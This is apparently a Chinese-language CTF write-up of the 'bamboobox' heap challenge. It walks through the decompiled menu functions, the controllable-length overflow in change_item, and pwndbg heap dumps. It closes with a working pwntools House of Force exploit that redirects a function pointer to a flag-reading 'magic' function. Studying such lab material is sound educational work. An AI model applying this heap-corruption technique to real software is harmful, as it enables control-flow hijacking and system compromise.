bamboobox
基本情况分析
查看基本保护
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 89) Symbols
运行查看一些基本逻辑,又是一个菜单类的题,应该就是堆的题。
There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:
程序分析
main
可以看到很特别的在选择5,退出之前会执行一次v4[1](),正常来讲这个是goodbye_message函数的执行。
int __cdecl main(int argc, const char **argv, const char **envp)
{
****
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}
show_item
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
}
return puts(byte_401089);
}
add_item
__int64 add_item()
{
***
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2; ## 存储chunk大小
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2); ## 存储chunk的地址
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0; ## 读入数据
++num;
return 0LL;
}
}
}
return 0LL;
}
change_item
unsigned __int64 change_item()
{
***
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) ) #该索引存在chunk存储的地址(存在)
{
printf("Please enter the length of item name:"); #可以执行控制读入的长度,存在可以溢出改写的漏洞
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
remove_item
unsigned __int64 remove_item()
{
***
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
free(*((void **)&unk_6020C8 + 2 * v1));
*((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
*((_DWORD *)&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}
关键点
存在一个读入大小可控的点,可以实现house of force或者unlink。
存在一个magic函数,可以直接读取flag。
调试分析
断点信息
b *0x00000000004009B4
b *0x0000000000400B21
b *0x0000000000400C4B
b *0x0000000000400D47
初始节点
Your choice:2
Please enter the length of item name:16
Please enter the name of item:aaaaaaaa
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x603040
Size: 0x20fc1
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000400896 0x00000000004008b1 #两个messege函数的地址
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x000000000000000a
0x603040: 0x0000000000000000 0x0000000000020fc1
0x603050: 0x0000000000000000 0x0000000000000000
修改topchunk的size
Your choice:3
Please enter the index of item:0
Please enter the length of item name:32
Please enter the new name of the item:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000400896 0x00000000004008b1
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161
0x603040: 0x6161616161616161 0x6161616161616161
0x603050: 0x0000000000000000 0x0000000000000000
我们可以看到topchunk的size确实可以被修改,那么这题可以用HOF进行攻击。
脚本调试
初始堆块
进行第一个堆块申请,为后续调用溢出,修改topchunk的size作准备。
additem(0x70,'aaaaaaaa')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1896000
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x1896020
Size: 0x20fe1
pwndbg> x/20gx 0x1896000
0x1896000: 0x0000000000000000 0x0000000000000021
0x1896010: 0x0000000000400896 0x00000000004008b1
0x1896020: 0x0000000000000000 0x0000000000020fe1
0x1896030: 0x0000000000000000 0x0000000000000000
溢出修改size
modify(0,0x80,payload1)
pwndbg> x/30gx 0x1896000
0x1896000: 0x0000000000000000 0x0000000000000021
0x1896010: 0x0000000000400896 0x00000000004008b1
0x1896020: 0x0000000000000000 0x0000000000000081
0x1896030: 0x6161616161616161 0x6161616161616161
0x1896040: 0x6161616161616161 0x6161616161616161
0x1896050: 0x6161616161616161 0x6161616161616161
0x1896060: 0x6161616161616161 0x6161616161616161
0x1896070: 0x6161616161616161 0x6161616161616161
0x1896080: 0x6161616161616161 0x6161616161616161
0x1896090: 0x6161616161616161 0x6161616161616161
0x18960a0: 0x0000000000000000 0xffffffffffffffff
0x18960b0: 0x0000000000000000 0x0000000000000000
TOPchunk机制
通过这一句调整topchunk下一步分配内容所在位置,实现任意写。第二句进行调用内存分配,让新建立堆块分布在指定位置,实现对目标位置的改写。
additem(size, 'dddd')
additem(0x10,payload2)
pwndbg> x/30gx 0x1896000
0x1896000: 0x0000000000000000 0x0000000000000099
0x1896010: 0x0000000000400896 0x00000000004008b1
0x1896020: 0x0000000000000000 0x0000000000000081
0x1896030: 0x6161616161616161 0x6161616161616161
0x1896040: 0x6161616161616161 0x6161616161616161
0x1896050: 0x6161616161616161 0x6161616161616161
0x1896060: 0x6161616161616161 0x6161616161616161
0x1896070: 0x6161616161616161 0x6161616161616161
0x1896080: 0x6161616161616161 0x6161616161616161
0x1896090: 0x6161616161616161 0x6161616161616161
0x18960a0: 0x0000000000000000 0x00ffffffffffff61
0x18960b0: 0x0000000000000000 0x0000000000000000
成功测试
输入5,返回调用我们修改的内存地址。(原来会执行goodbye函数,但是现在存储该函数的位置被我们修改成了magic)
注意点
1.申请的堆块大小不要太小。一开始我申请的是0x10,但是一直无法成功,将其改大为0x70即可成功
2.需要修改top chunk产生多大的偏移和我们申请的堆块大小有一定的关系(本题有,但是具体情况需要具体分析,只需要多调试关注堆块结构即可)
EXP
#!/usr/bin/env python
from pwn import *
r = process('./bamboobox')
def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
if __name__ == '__main__':
magic_add=0x000000000400D49
payload1='a'*0x70+p64(0)+p64(0xffffffffffffffff)
size = -0xa0-0x10
payload2='a'*8+p64(magic_add)
input()
additem(0x70,'aaaaaaaa')
modify(0,0x80,payload1)
additem(size, 'dddd')
additem(0x10,payload2)
r.interactive()